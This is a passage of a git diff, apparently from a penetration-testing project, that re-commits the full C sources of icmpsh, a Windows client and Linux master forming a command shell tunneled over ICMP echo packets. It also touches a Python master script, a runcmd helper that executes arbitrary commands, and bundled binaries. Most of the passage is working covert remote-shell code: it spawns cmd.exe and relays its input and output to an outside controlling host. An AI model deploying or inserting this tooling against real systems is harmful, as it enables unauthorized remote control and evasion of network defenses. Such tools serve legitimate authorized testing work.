- } - - sum = (sum >> 16) + (sum & 0xffff); - sum += (sum >> 16); - rs = ~sum; - return rs; -} - -int main(int argc, char **argv) -{ - int sockfd; - int flags; - char in_buf[IN_BUF_SIZE]; - char out_buf[OUT_BUF_SIZE]; - unsigned int out_size; - int nbytes; - struct iphdr *ip; - struct icmphdr *icmp; - char *data; - struct sockaddr_in addr; - - - printf("icmpsh - master\n"); - - // create raw ICMP socket - sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP); - if (sockfd == -1) { - perror("socket"); - return -1; - } - - // set stdin to non-blocking - flags = fcntl(0, F_GETFL, 0); - flags |= O_NONBLOCK; - fcntl(0, F_SETFL, flags); - - printf("running...\n"); - while(1) { - - // read data from socket - memset(in_buf, 0x00, IN_BUF_SIZE); - nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1); - if (nbytes > 0) { - // get ip and icmp header and data part - ip = (struct iphdr *) in_buf; - if (nbytes > sizeof(struct iphdr)) { - nbytes -= sizeof(struct iphdr); - icmp = (struct icmphdr *) (ip + 1); - if (nbytes > sizeof(struct icmphdr)) { - nbytes -= sizeof(struct icmphdr); - data = (char *) (icmp + 1); - data[nbytes] = '\0'; - printf("%s", data); - fflush(stdout); - } - - // reuse headers - icmp->type = 0; - addr.sin_family = AF_INET; - addr.sin_addr.s_addr = ip->saddr; - - // read data from stdin - nbytes = read(0, out_buf, OUT_BUF_SIZE); - if (nbytes > -1) { - memcpy((char *) (icmp + 1), out_buf, nbytes); - out_size = nbytes; - } else { - out_size = 0; - } - - icmp->checksum = 0x00; - icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size); - - // send reply - nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr)); - if (nbytes == -1) { - perror("sendto"); - return -1; - } - } - } - } - - return 0; -} - +/* + * icmpsh - simple icmp command shell + * Copyright (c) 2010, Nico Leidecker + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define IN_BUF_SIZE 1024 +#define OUT_BUF_SIZE 64 + +// calculate checksum +unsigned short checksum(unsigned short *ptr, int nbytes) +{ + unsigned long sum; + unsigned short oddbyte, rs; + + sum = 0; + while(nbytes > 1) { + sum += *ptr++; + nbytes -= 2; + } + + if(nbytes == 1) { + oddbyte = 0; + *((unsigned char *) &oddbyte) = *(u_char *)ptr; + sum += oddbyte; + } + + sum = (sum >> 16) + (sum & 0xffff); + sum += (sum >> 16); + rs = ~sum; + return rs; +} + +int main(int argc, char **argv) +{ + int sockfd; + int flags; + char in_buf[IN_BUF_SIZE]; + char out_buf[OUT_BUF_SIZE]; + unsigned int out_size; + int nbytes; + struct iphdr *ip; + struct icmphdr *icmp; + char *data; + struct sockaddr_in addr; + + + printf("icmpsh - master\n"); + + // create raw ICMP socket + sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP); + if (sockfd == -1) { + perror("socket"); + return -1; + } + + // set stdin to non-blocking + flags = fcntl(0, F_GETFL, 0); + flags |= O_NONBLOCK; + fcntl(0, F_SETFL, flags); + + printf("running...\n"); + while(1) { + + // read data from socket + memset(in_buf, 0x00, IN_BUF_SIZE); + nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1); + if (nbytes > 0) { + // get ip and icmp header and data part + ip = (struct iphdr *) in_buf; + if (nbytes > sizeof(struct iphdr)) { + nbytes -= sizeof(struct iphdr); + icmp = (struct icmphdr *) (ip + 1); + if (nbytes > sizeof(struct icmphdr)) { + nbytes -= sizeof(struct icmphdr); + data = (char *) (icmp + 1); + data[nbytes] = '\0'; + printf("%s", data); + fflush(stdout); + } + + // reuse headers + icmp->type = 0; + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = ip->saddr; + + // read data from stdin + nbytes = read(0, out_buf, OUT_BUF_SIZE); + if (nbytes > -1) { + memcpy((char *) (icmp + 1), out_buf, nbytes); + out_size = nbytes; + } else { + out_size = 0; + } + + icmp->checksum = 0x00; + icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size); + + // send reply + nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr)); + if (nbytes == -1) { + perror("sendto"); + return -1; + } + } + } + } + + return 0; +} + diff --git a/extra/icmpsh/icmpsh-s.c b/extra/icmpsh/icmpsh-s.c index af30618f9b5..c108509774d 100644 --- a/extra/icmpsh/icmpsh-s.c +++ b/extra/icmpsh/icmpsh-s.c @@ -1,344 +1,344 @@ -/* - * icmpsh - simple icmp command shell - * Copyright (c) 2010, Nico Leidecker - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - -#include -#include -#include -#include -#include -#include - -#define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8) - -#define STATUS_OK 0 -#define STATUS_SINGLE 1 -#define STATUS_PROCESS_NOT_CREATED 2 - -#define TRANSFER_SUCCESS 1 -#define TRANSFER_FAILURE 0 - -#define DEFAULT_TIMEOUT 3000 -#define DEFAULT_DELAY 200 -#define DEFAULT_MAX_BLANKS 10 -#define DEFAULT_MAX_DATA_SIZE 64 - -FARPROC icmp_create, icmp_send, to_ip; - -int verbose = 0; - -int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write) -{ - SECURITY_ATTRIBUTES sattr; - STARTUPINFOA si; - HANDLE in_read, out_write; - - memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES)); - memset(pi, 0x00, sizeof(PROCESS_INFORMATION)); - - // create communication pipes - memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES)); - sattr.nLength = sizeof(SECURITY_ATTRIBUTES); - sattr.bInheritHandle = TRUE; - sattr.lpSecurityDescriptor = NULL; - - if (!CreatePipe(out_read, &out_write, &sattr, 0)) { - return STATUS_PROCESS_NOT_CREATED; - } - if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) { - return STATUS_PROCESS_NOT_CREATED; - } - - if (!CreatePipe(&in_read, in_write, &sattr, 0)) { - return STATUS_PROCESS_NOT_CREATED; - } - if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) { - return STATUS_PROCESS_NOT_CREATED; - } - - // spawn process - memset(&si, 0x00, sizeof(STARTUPINFO)); - si.cb = sizeof(STARTUPINFO); - si.hStdError = out_write; - si.hStdOutput = out_write; - si.hStdInput = in_read; - si.dwFlags |= STARTF_USESTDHANDLES; - - if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) { - return STATUS_PROCESS_NOT_CREATED; - } - - CloseHandle(out_write); - CloseHandle(in_read); - - return STATUS_OK; -} - -void usage(char *path) -{ - printf("%s [options] -t target\n", path); - printf("options:\n"); - printf(" -t host host ip address to send ping requests to\n"); - printf(" -r send a single test icmp request and then quit\n"); - printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY); - printf(" -o milliseconds timeout in milliseconds\n"); - printf(" -h this screen\n"); - printf(" -b num maximal number of blanks (unanswered icmp requests)\n"); - printf(" before quitting\n"); - printf(" -s bytes maximal data buffer size in bytes (default is %u bytes)\n\n", DEFAULT_MAX_DATA_SIZE); - printf("In order to improve the speed, lower the delay (-d) between requests or\n"); - printf("increase the size (-s) of the data buffer\n"); -} - -void create_icmp_channel(HANDLE *icmp_chan) -{ - // create icmp file - *icmp_chan = (HANDLE) icmp_create(); -} - -int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout) -{ - int rs; - char *temp_in_buf; - int nbytes; - - PICMP_ECHO_REPLY echo_reply; - - temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE); - if (!temp_in_buf) { - return TRANSFER_FAILURE; - } - - // send data to remote host - rs = icmp_send( - icmp_chan, - target, - out_buf, - out_buf_size, - NULL, - temp_in_buf, - max_in_data_size + ICMP_HEADERS_SIZE, - timeout); - - // check received data - if (rs > 0) { - echo_reply = (PICMP_ECHO_REPLY) temp_in_buf; - if (echo_reply->DataSize > max_in_data_size) { - nbytes = max_in_data_size; - } else { - nbytes = echo_reply->DataSize; - } - memcpy(in_buf, echo_reply->Data, nbytes); - *in_buf_size = nbytes; - - free(temp_in_buf); - return TRANSFER_SUCCESS; - } - - free(temp_in_buf); - - return TRANSFER_FAILURE; -} - -int load_deps() -{ - HMODULE lib; - - lib = LoadLibraryA("ws2_32.dll"); - if (lib != NULL) { - to_ip = GetProcAddress(lib, "inet_addr"); - if (!to_ip) { - return 0; - } - } - - lib = LoadLibraryA("iphlpapi.dll"); - if (lib != NULL) { - icmp_create = GetProcAddress(lib, "IcmpCreateFile"); - icmp_send = GetProcAddress(lib, "IcmpSendEcho"); - if (icmp_create && icmp_send) { - return 1; - } - } - - lib = LoadLibraryA("ICMP.DLL"); - if (lib != NULL) { - icmp_create = GetProcAddress(lib, "IcmpCreateFile"); - icmp_send = GetProcAddress(lib, "IcmpSendEcho"); - if (icmp_create && icmp_send) { - return 1; - } - } - - printf("failed to load functions (%u)", GetLastError()); - - return 0; -} -int main(int argc, char **argv) -{ - int opt; - char *target; - unsigned int delay, timeout; - unsigned int ip_addr; - HANDLE pipe_read, pipe_write; - HANDLE icmp_chan; - unsigned char *in_buf, *out_buf; - unsigned int in_buf_size, out_buf_size; - DWORD rs; - int blanks, max_blanks; - PROCESS_INFORMATION pi; - int status; - unsigned int max_data_size; - - // set defaults - target = 0; - timeout = DEFAULT_TIMEOUT; - delay = DEFAULT_DELAY; - max_blanks = DEFAULT_MAX_BLANKS; - max_data_size = DEFAULT_MAX_DATA_SIZE; - - status = STATUS_OK; - if (!load_deps()) { - printf("failed to load ICMP library\n"); - return -1; - } - - // parse command line options - for (opt = 1; opt < argc; opt++) { - if (argv[opt][0] == '-') { - switch(argv[opt][1]) { - case 'h': - usage(*argv); - return 0; - case 't': - if (opt + 1 < argc) { - target = argv[opt + 1]; - } - break; - case 'd': - if (opt + 1 < argc) { - delay = atol(argv[opt + 1]); - } - break; - case 'o': - if (opt + 1 < argc) { - timeout = atol(argv[opt + 1]); - } - break; - case 'r': - status = STATUS_SINGLE; - break; - case 'b': - if (opt + 1 < argc) { - max_blanks = atol(argv[opt + 1]); - } - break; - case 's': - if (opt + 1 < argc) { - max_data_size = atol(argv[opt + 1]); - } - break; - default: - printf("unrecognized option -%c\n", argv[1][0]); - usage(*argv); - return -1; - } - } - } - - if (!target) { - printf("you need to specify a host with -t. Try -h for more options\n"); - return -1; - } - ip_addr = to_ip(target); - - // don't spawn a shell if we're only sending a single test request - if (status != STATUS_SINGLE) { - status = spawn_shell(&pi, &pipe_read, &pipe_write); - } - - // create icmp channel - create_icmp_channel(&icmp_chan); - if (icmp_chan == INVALID_HANDLE_VALUE) { - printf("unable to create ICMP file: %u\n", GetLastError()); - return -1; - } - - // allocate transfer buffers - in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE); - out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE); - if (!in_buf || !out_buf) { - printf("failed to allocate memory for transfer buffers\n"); - return -1; - } - memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE); - memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE); - - // sending/receiving loop - blanks = 0; - do { - - switch(status) { - case STATUS_SINGLE: - // reply with a static string - out_buf_size = sprintf(out_buf, "Test1234\n"); - break; - case STATUS_PROCESS_NOT_CREATED: - // reply with error message - out_buf_size = sprintf(out_buf, "Process was not created\n"); - break; - default: - // read data from process via pipe - out_buf_size = 0; - if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) { - if (out_buf_size > 0) { - out_buf_size = 0; - rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL); - if (!rs && GetLastError() != ERROR_IO_PENDING) { - out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError()); - } - } - } else { - out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError()); - } - break; - } - - // send request/receive response - if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) { - if (status == STATUS_OK) { - // write data from response back into pipe - WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0); - } - blanks = 0; - } else { - // no reply received or error occured - blanks++; - } - - // wait between requests - Sleep(delay); - - } while (status == STATUS_OK && blanks < max_blanks); - - if (status == STATUS_OK) { - TerminateProcess(pi.hProcess, 0); - } - - return 0; -} - +/* + * icmpsh - simple icmp command shell + * Copyright (c) 2010, Nico Leidecker + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + + +#include +#include +#include +#include +#include +#include + +#define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8) + +#define STATUS_OK 0 +#define STATUS_SINGLE 1 +#define STATUS_PROCESS_NOT_CREATED 2 + +#define TRANSFER_SUCCESS 1 +#define TRANSFER_FAILURE 0 + +#define DEFAULT_TIMEOUT 3000 +#define DEFAULT_DELAY 200 +#define DEFAULT_MAX_BLANKS 10 +#define DEFAULT_MAX_DATA_SIZE 64 + +FARPROC icmp_create, icmp_send, to_ip; + +int verbose = 0; + +int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write) +{ + SECURITY_ATTRIBUTES sattr; + STARTUPINFOA si; + HANDLE in_read, out_write; + + memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES)); + memset(pi, 0x00, sizeof(PROCESS_INFORMATION)); + + // create communication pipes + memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES)); + sattr.nLength = sizeof(SECURITY_ATTRIBUTES); + sattr.bInheritHandle = TRUE; + sattr.lpSecurityDescriptor = NULL; + + if (!CreatePipe(out_read, &out_write, &sattr, 0)) { + return STATUS_PROCESS_NOT_CREATED; + } + if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) { + return STATUS_PROCESS_NOT_CREATED; + } + + if (!CreatePipe(&in_read, in_write, &sattr, 0)) { + return STATUS_PROCESS_NOT_CREATED; + } + if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) { + return STATUS_PROCESS_NOT_CREATED; + } + + // spawn process + memset(&si, 0x00, sizeof(STARTUPINFO)); + si.cb = sizeof(STARTUPINFO); + si.hStdError = out_write; + si.hStdOutput = out_write; + si.hStdInput = in_read; + si.dwFlags |= STARTF_USESTDHANDLES; + + if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) { + return STATUS_PROCESS_NOT_CREATED; + } + + CloseHandle(out_write); + CloseHandle(in_read); + + return STATUS_OK; +} + +void usage(char *path) +{ + printf("%s [options] -t target\n", path); + printf("options:\n"); + printf(" -t host host ip address to send ping requests to\n"); + printf(" -r send a single test icmp request and then quit\n"); + printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY); + printf(" -o milliseconds timeout in milliseconds\n"); + printf(" -h this screen\n"); + printf(" -b num maximal number of blanks (unanswered icmp requests)\n"); + printf(" before quitting\n"); + printf(" -s bytes maximal data buffer size in bytes (default is %u bytes)\n\n", DEFAULT_MAX_DATA_SIZE); + printf("In order to improve the speed, lower the delay (-d) between requests or\n"); + printf("increase the size (-s) of the data buffer\n"); +} + +void create_icmp_channel(HANDLE *icmp_chan) +{ + // create icmp file + *icmp_chan = (HANDLE) icmp_create(); +} + +int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout) +{ + int rs; + char *temp_in_buf; + int nbytes; + + PICMP_ECHO_REPLY echo_reply; + + temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE); + if (!temp_in_buf) { + return TRANSFER_FAILURE; + } + + // send data to remote host + rs = icmp_send( + icmp_chan, + target, + out_buf, + out_buf_size, + NULL, + temp_in_buf, + max_in_data_size + ICMP_HEADERS_SIZE, + timeout); + + // check received data + if (rs > 0) { + echo_reply = (PICMP_ECHO_REPLY) temp_in_buf; + if (echo_reply->DataSize > max_in_data_size) { + nbytes = max_in_data_size; + } else { + nbytes = echo_reply->DataSize; + } + memcpy(in_buf, echo_reply->Data, nbytes); + *in_buf_size = nbytes; + + free(temp_in_buf); + return TRANSFER_SUCCESS; + } + + free(temp_in_buf); + + return TRANSFER_FAILURE; +} + +int load_deps() +{ + HMODULE lib; + + lib = LoadLibraryA("ws2_32.dll"); + if (lib != NULL) { + to_ip = GetProcAddress(lib, "inet_addr"); + if (!to_ip) { + return 0; + } + } + + lib = LoadLibraryA("iphlpapi.dll"); + if (lib != NULL) { + icmp_create = GetProcAddress(lib, "IcmpCreateFile"); + icmp_send = GetProcAddress(lib, "IcmpSendEcho"); + if (icmp_create && icmp_send) { + return 1; + } + } + + lib = LoadLibraryA("ICMP.DLL"); + if (lib != NULL) { + icmp_create = GetProcAddress(lib, "IcmpCreateFile"); + icmp_send = GetProcAddress(lib, "IcmpSendEcho"); + if (icmp_create && icmp_send) { + return 1; + } + } + + printf("failed to load functions (%u)", GetLastError()); + + return 0; +} +int main(int argc, char **argv) +{ + int opt; + char *target; + unsigned int delay, timeout; + unsigned int ip_addr; + HANDLE pipe_read, pipe_write; + HANDLE icmp_chan; + unsigned char *in_buf, *out_buf; + unsigned int in_buf_size, out_buf_size; + DWORD rs; + int blanks, max_blanks; + PROCESS_INFORMATION pi; + int status; + unsigned int max_data_size; + + // set defaults + target = 0; + timeout = DEFAULT_TIMEOUT; + delay = DEFAULT_DELAY; + max_blanks = DEFAULT_MAX_BLANKS; + max_data_size = DEFAULT_MAX_DATA_SIZE; + + status = STATUS_OK; + if (!load_deps()) { + printf("failed to load ICMP library\n"); + return -1; + } + + // parse command line options + for (opt = 1; opt < argc; opt++) { + if (argv[opt][0] == '-') { + switch(argv[opt][1]) { + case 'h': + usage(*argv); + return 0; + case 't': + if (opt + 1 < argc) { + target = argv[opt + 1]; + } + break; + case 'd': + if (opt + 1 < argc) { + delay = atol(argv[opt + 1]); + } + break; + case 'o': + if (opt + 1 < argc) { + timeout = atol(argv[opt + 1]); + } + break; + case 'r': + status = STATUS_SINGLE; + break; + case 'b': + if (opt + 1 < argc) { + max_blanks = atol(argv[opt + 1]); + } + break; + case 's': + if (opt + 1 < argc) { + max_data_size = atol(argv[opt + 1]); + } + break; + default: + printf("unrecognized option -%c\n", argv[1][0]); + usage(*argv); + return -1; + } + } + } + + if (!target) { + printf("you need to specify a host with -t. Try -h for more options\n"); + return -1; + } + ip_addr = to_ip(target); + + // don't spawn a shell if we're only sending a single test request + if (status != STATUS_SINGLE) { + status = spawn_shell(&pi, &pipe_read, &pipe_write); + } + + // create icmp channel + create_icmp_channel(&icmp_chan); + if (icmp_chan == INVALID_HANDLE_VALUE) { + printf("unable to create ICMP file: %u\n", GetLastError()); + return -1; + } + + // allocate transfer buffers + in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE); + out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE); + if (!in_buf || !out_buf) { + printf("failed to allocate memory for transfer buffers\n"); + return -1; + } + memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE); + memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE); + + // sending/receiving loop + blanks = 0; + do { + + switch(status) { + case STATUS_SINGLE: + // reply with a static string + out_buf_size = sprintf(out_buf, "Test1234\n"); + break; + case STATUS_PROCESS_NOT_CREATED: + // reply with error message + out_buf_size = sprintf(out_buf, "Process was not created\n"); + break; + default: + // read data from process via pipe + out_buf_size = 0; + if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) { + if (out_buf_size > 0) { + out_buf_size = 0; + rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL); + if (!rs && GetLastError() != ERROR_IO_PENDING) { + out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError()); + } + } + } else { + out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError()); + } + break; + } + + // send request/receive response + if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) { + if (status == STATUS_OK) { + // write data from response back into pipe + WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0); + } + blanks = 0; + } else { + // no reply received or error occured + blanks++; + } + + // wait between requests + Sleep(delay); + + } while (status == STATUS_OK && blanks < max_blanks); + + if (status == STATUS_OK) { + TerminateProcess(pi.hProcess, 0); + } + + return 0; +} + diff --git a/extra/icmpsh/icmpsh.exe_ b/extra/icmpsh/icmpsh.exe_ index a1eb995cb86..46a2115cc44 100644 Binary files a/extra/icmpsh/icmpsh.exe_ and b/extra/icmpsh/icmpsh.exe_ differ diff --git a/extra/icmpsh/icmpsh_m.py b/extra/icmpsh/icmpsh_m.py index 562223ab327..17370fdc001 100644 --- a/extra/icmpsh/icmpsh_m.py +++ b/extra/icmpsh/icmpsh_m.py @@ -22,7 +22,6 @@ import os import select import socket -import subprocess import sys def setNonBlocking(fd): @@ -37,7 +36,7 @@ def setNonBlocking(fd): fcntl.fcntl(fd, fcntl.F_SETFL, flags) def main(src, dst): - if subprocess.mswindows: + if sys.platform == "nt": sys.stderr.write('icmpsh master can only run on Posix systems\n') sys.exit(255) @@ -77,60 +76,63 @@ def main(src, dst): decoder = ImpactDecoder.IPDecoder() while True: - cmd = '' - - # Wait for incoming replies - if sock in select.select([sock], [], [])[0]: - buff = sock.recv(4096) - - if 0 == len(buff): - # Socket remotely closed - sock.close() - sys.exit(0) - - # Packet received; decode and display it - ippacket = decoder.decode(buff) - icmppacket = ippacket.child() - - # If the packet matches, report it to the user - if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type(): - # Get identifier and sequence number - ident = icmppacket.get_icmp_id() - seq_id = icmppacket.get_icmp_seq() - data = icmppacket.get_data_as_string() - - if len(data) > 0: - sys.stdout.write(data) - - # Parse command from standard input - try: - cmd = sys.stdin.readline() - except: - pass - - if cmd == 'exit\n': - return - - # Set sequence number and identifier - icmp.set_icmp_id(ident) - icmp.set_icmp_seq(seq_id) - - # Include the command as data inside the ICMP packet - icmp.contains(ImpactPacket.Data(cmd)) - - # Calculate its checksum - icmp.set_icmp_cksum(0) - icmp.auto_checksum = 1 - - # Have the IP packet contain the ICMP packet (along with its payload) - ip.contains(icmp) - - try: - # Send it to the target host - sock.sendto(ip.get_packet(), (dst, 0)) - except socket.error as ex: - sys.stderr.write("'%s'\n" % ex) - sys.stderr.flush() + try: + cmd = '' + + # Wait for incoming replies + if sock in select.select([sock], [], [])[0]: + buff = sock.recv(4096) + + if 0 == len(buff): + # Socket remotely closed + sock.close() + sys.exit(0) + + # Packet received; decode and display it + ippacket = decoder.decode(buff) + icmppacket = ippacket.child() + + # If the packet matches, report it to the user + if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type(): + # Get identifier and sequence number + ident = icmppacket.get_icmp_id() + seq_id = icmppacket.get_icmp_seq() + data = icmppacket.get_data_as_string() + + if len(data) > 0: + sys.stdout.write(data) + + # Parse command from standard input + try: + cmd = sys.stdin.readline() + except: + pass + + if cmd == 'exit\n': + return + + # Set sequence number and identifier + icmp.set_icmp_id(ident) + icmp.set_icmp_seq(seq_id) + + # Include the command as data inside the ICMP packet + icmp.contains(ImpactPacket.Data(cmd)) + + # Calculate its checksum + icmp.set_icmp_cksum(0) + icmp.auto_checksum = 1 + + # Have the IP packet contain the ICMP packet (along with its payload) + ip.contains(icmp) + + try: + # Send it to the target host + sock.sendto(ip.get_packet(), (dst, 0)) + except socket.error as ex: + sys.stderr.write("'%s'\n" % ex) + sys.stderr.flush() + except: + break if __name__ == '__main__': if len(sys.argv) < 3: diff --git a/extra/runcmd/runcmd.exe_ b/extra/runcmd/runcmd.exe_ index 5e0d05a994b..d3b4bebfe90 100644 Binary files a/extra/runcmd/runcmd.exe_ and b/extra/runcmd/runcmd.exe_ differ diff --git a/extra/runcmd/src/runcmd.sln b/extra/runcmd/src/runcmd.sln index 0770582d092..a70c648d0dc 100644 --- a/extra/runcmd/src/runcmd.sln +++ b/extra/runcmd/src/runcmd.sln @@ -1,20 +1,20 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "runcmd", "runcmd\runcmd.vcproj", "{1C6185A9-871A-4F6E-9B2D-BE4399479784}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Win32 = Debug|Win32 - Release|Win32 = Release|Win32 - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.ActiveCfg = Debug|Win32 - {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.Build.0 = Debug|Win32 - {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.ActiveCfg = Release|Win32 - {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.Build.0 = Release|Win32 - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal + +Microsoft Visual Studio Solution File, Format Version 9.00 +# Visual Studio 2005 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "runcmd", "runcmd\runcmd.vcproj", "{1C6185A9-871A-4F6E-9B2D-BE4399479784}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.ActiveCfg = Debug|Win32 + {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.Build.0 = Debug|Win32 + {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.ActiveCfg = Release|Win32 + {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/extra/runcmd/src/runcmd/runcmd.cpp b/extra/runcmd/src/runcmd/runcmd.cpp index ab40a0c218e..743f2a279ef 100644 --- a/extra/runcmd/src/runcmd/runcmd.cpp +++ b/extra/runcmd/src/runcmd/runcmd.cpp @@ -1,46 +1,46 @@ -/* - runcmd - a program for running command prompt commands - Copyright (C) 2010 Miroslav Stampar - email: miroslav.stampar@gmail.com - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -*/ - -#include -#include -#include -#include "stdafx.h" -#include - -using namespace std; -int main(int argc, char* argv[]) -{ - FILE *fp; - string cmd; - - for( int count = 1; count < argc; count++ ) - cmd += " " + string(argv[count]); - - fp = _popen(cmd.c_str(), "r"); - - if (fp != NULL) { - char buffer[BUFSIZ]; - - while (fgets(buffer, sizeof buffer, fp) != NULL) - fputs(buffer, stdout); - } - - return 0; -} +/* + runcmd - a program for running command prompt commands + Copyright (C) 2010 Miroslav Stampar + email: miroslav.stampar@gmail.com + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +#include +#include +#include +#include "stdafx.h" +#include + +using namespace 